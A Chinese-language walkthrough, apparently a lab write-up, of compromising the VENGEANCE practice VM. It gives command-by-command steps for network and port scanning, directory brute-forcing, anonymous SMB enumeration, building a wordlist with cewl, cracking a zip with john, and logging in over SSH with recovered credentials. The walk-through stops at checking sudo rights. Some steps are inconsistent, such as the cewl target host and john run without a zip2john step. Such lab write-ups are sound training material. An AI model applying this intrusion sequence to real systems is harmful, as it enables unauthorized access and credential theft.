digitalworld.local: VENGEANCE靶场

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.3

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.3

端口号	协议	状态	服务名称	版本/详细信息
80	tcp	open	http	nginx 1.18.0 (Ubuntu) 网站标题：VENGEANCE 运行用户：www-data
443	tcp	open	ssl/http	nginx 1.18.0 (Ubuntu) SSL 证书有效期：2021-02-14 至 2022-02-14 支持协议：h2/http1.1
139	tcp	open	netbios-ssn	Samba smbd 4.6.2 运行用户：root
445	tcp	open	netbios-ssn	Samba smbd 4.6.2 运行用户：root
113	tcp	open	ident?	身份验证服务（可能） 运行用户：root
143	tcp	open	imap?	邮件访问协议（可能）
993	tcp	open	imaps?	加密的IMAP协议（可能）
995	tcp	open	pop3s?	加密的POP3协议（可能）
22222	tcp	open	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 支持密钥类型：RSA/ECDSA/ED25519

4，起手先访问一下80端口存在的http服务，直接使用IP访问缓慢，需要修改host文件添加一条域名解析

echo "192.168.23.3 vengeance.goodtech.inc" >>/etc/hosts

http://vengeance.goodtech.inc/

然后就是扫描一下目录：

dirsearch -u http://vengeance.goodtech.inc -x 404,403

5，用 enum4linux扫描一下：

enum4linux 192.168.23.3

smbclient -N \\\\192.168.23.3\\sarapublic$

gio.zip打开需要密码

密码应该隐藏在上面下载的那几个文件里，先把那几个文件做成密码本，使用cewl字典生成工具生成密码本，先在本地开启个 http 服务，然后利用cewl爬取文件关键字生成密码本：

cewl 192.168.23.3:8000/blurb.txt >> pass.txt

cewl 192.168.23.3:8000/eaurouge >> pass.txt

cewl 192.168.23.3:8000/eaurouge.txt >> pass.txt

cewl 192.168.23.3:8000/essay.txt >> pass.txt

cewl 192.168.23.3:8000/profile.txt >> pass.txt

cewl 192.168.23.3:8000/to-do >> pass.txt

利用生成的密码本爆破一下 zip 文件：

john --wordlist=pass.txt password.txt

nanotechnological

6，使用获得账户和密码信息：qinyi/giovanni_130R_Suzuka，进行ssh登录，成功获得shell权限

ssh qinyi@192.168.23.3 -p 22222

信息收集一下

看一下如何sudo提权 sudo -l